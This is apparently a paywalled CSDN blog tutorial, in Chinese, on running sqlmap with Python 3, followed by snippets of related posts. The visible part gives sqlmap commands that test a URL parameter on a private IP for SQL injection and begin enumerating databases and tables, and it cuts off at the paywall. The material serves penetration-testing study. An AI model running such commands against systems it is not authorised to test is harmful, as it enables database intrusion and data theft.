SQLMap使用实战（附python3环境sqlmap-py3）

最新推荐文章于 2025-12-04 22:03:39 发布
最新推荐文章于 2025-12-04 22:03:39 发布
阅读量3 收藏
点赞数
CC 4.0 BY-SA版权
分类专栏： 网络安全AI+ 渗透测试 代码审计 等保 全栈网络安全开发 文章标签： oracle 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_35029061/article/details/155453216

下载附件里的下载python3和sqLmap-py3。

python安装一路默认安装下一步，然后用python.exe调用sqlmap程序。

1.  检测注入点是否可用

sqlmap -u 'http://192.168.87.19/index.php?r=default/news/content&id=12' --batch

sqlmap后面的url一定要指定一个参数id(url要加上正确的参数)。

成功找到注入点场景：

跑失败场景：

2. 爆所有数据库的名称

sqlmap -u 'http://192.168.87.19/index.php?r=default/news/content&id=12' --
了解本专栏 订阅专栏 解锁全文 超级会员免费看
Python3操作sqlmap
茄子煲的博客
10-24 6068
前言： 由于工作需要，需要用到强大的sql注入工具sqlmap，记一次初体验； 环境安装： 本人环境：win10/py2.7,/y3.6 在安装之前我搜了很多帖子，很多重复的帖子，大概都是说sqlmap是基于python2.x进行开发的，所以要使用sqlmap请先安装python2云云......但是我在pypi上面看到这句话 也就是说，目前已经可以支持3.x版本了！ 开始实验： ...
python3、sqlmap下载与安装教程
星如雨落
10-28 4355
一 、前提 需要安装python3，可以参考其他教程 二 、下载 官网下载http://sqlmap.org/ 三 、安装 将下载的sqlmap.zip解压到文件夹sqlmap中，并拷贝到Python安装路径下 四、 配置 在桌面上创建一个cmd进入python的快捷方式（这步可以不做，只是比较方便启动），右键新建快捷方式 输入 cmd 快捷方式命名可随意，不作要求，这里用 sqlmap 右键 – 属性 修改起始位置为 sqlmap 文件夹路径 测试启动sqlmap，双击刚才创建的快捷方式，
记录一次 python 文件环境变量配置-sqlmap.py
m0_74317362的博客
05-07 310
或者都可以！
sqlmap使用Anaconda中python环境
dong的博客
03-08 398
sqlmap使用Anaconda中python环境
sqlmap requires ‘python-pymysql‘ third-party library
weixin_43376075的博客
11-13 1432
[CRITICAL] sqlmap requires 'python-pymysql' third-party library in order to directly connect to the DBMS 'MySQL'. You can download it from 'https://github.com/PyMySQL/PyMySQL'. Alternative is to use a package 'python-sqlalchemy' with support for dialect 'm
(在python3的环境下)安装SQLmap及简单使用
D_crab的博客
12-11 6103
常见问题： 安装使用sqlmap的时候会提示需要在python2的环境下才能安装，其实在python3.6以后也都支持sqlmap了。 sqlmap安装步骤： 一、下载python3.6或以后的python环境； 二、下载sqlmap; 三、将sqlmap解压到python3.x的目录下（我是用anaconda来管理环境的，所以anaconda3这里根目录就相当于python3.8.3）； 四、在桌面点击右键新建一个快捷方式，对象位置为:cmd，快捷方式名称为：sqlmap 五、桌
python+sqlmap
weixin_45139674的博客
10-24 345
python+sqlmap
sqlmap工具的使用 (超详细附工具版)
读书 买花 长大
06-11 3950
sqlmap
SqlMap免Python环境绿色版的使用
edsion4的博客
11-25 1359
SqlMap免Python环境绿色版的使用
PS D:\nmap\sqlmap\sqlmap> python sqlmap.py --server >> PS D:\nmap\sqlmap\sqlmap>
07-22
python3 sqlmap.py --server ``` 或者： ```bash C:\Python310\python.exe sqlmap.py --server ``` --- ## ✅ 二、手动调试 sqlmap.py 你可以尝试运行 sqlmap 的帮助命令，看看是否能正常输出： ```bash ...
sqlmap免Python环境Windows版
08-29
sqlmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, ...
sqlmap免python环境win直接运行
05-16
sqlmap -u http://url 列数据库信息 sqlmap -u http://url --dbs 指定库名列出所有表 sqlmap -u http://url -D dbname --tables 指定库名表名列出所有字段 sqlmap -u ...
【MySQL】表的基本操作
2509_94196848的博客
12-01 871
创建表可指定字符集和存储引擎，不指定字符集和存储引擎默认为 InnoDB存储引擎 和 utf8mb4字符集。查看当前数据库的表，和查看具体表结构是不同概念，使用不同语句查看。表的修改和删除涉及等关键字。本文内容到此结束，如果感觉有帮助的话，还望给博主一个赞~~
Navicat Oracle数据库连接失败，报错：Oracle library is not loaded
默默提升实验室
12-04 268
Navicat Oracle数据库连接失败，报错：Oracle library is not loaded
SQL Server 创建用户并授权
2509_94201067的博客
12-01 287
创建用户前需要有一个数据库，创建数据库命令如下：CREATE DATABASE [数据库名称];
Oracle或DM（达梦）时间戳之间的差值SQL迁移到瀚高数据库
HighGO
12-02 803
这两列相减（starttime - endtime），不同的数据库得到的结果不同，以Oracle、DM（达梦）、瀚高数据库为例来说明。由于Oracle时间戳相减得到的是时间间隔类型，所以不能直接将这个结果去乘以24*60，得到的结果不准确。注意：如果使用时间间隔限定符，得到的结果不一样（我们这里只看一下就行，不做深入讨论）此时得到的是时间间隔类型，如果没有指定时间间隔限定符默认得到的是float类型。结果：181 days 09:00:00（时间间隔类型）结果：181.375（float类型）
oracle从入门到精通--物理存储结构
最新发布
2302_80755459的博客
12-04 1001
物理存储结构
【2025全攻略】PyCharm专业版 / 社区版如何打开.db 数据库文件
大飞记Python的博客
12-02 659
前天有个小伙伴下载了小编分享的「打包实战包」，准备大展身手。结果刚想在 PyCharm 里打开 SQL 数据库文件，先看看表结构，就遇到了：打不开.db文件—打开文件后乱码—网上教程失败—私信问小编我寻思着得出一期实战教程了。
【Oracle专栏】密码到期但在宽限期-＞修改密码
weixin_42081167的博客
12-03 532
本文探讨了Oracle数据库密码策略管理方法。在密码策略生效的情况下（90天有效期、30天宽限期、密码不可重复，因此密码不能改成和现在相同），实验验证了两种解决方案：1）修改默认策略将密码有效期设为UNLIMITED；2）将用户临时改为默认策略,改密码后再恢复。实验结果表明第二种方法更优，既能保持原策略要求，又能延长密码有效期90天。文章详细记录了实验步骤。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

wespten

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值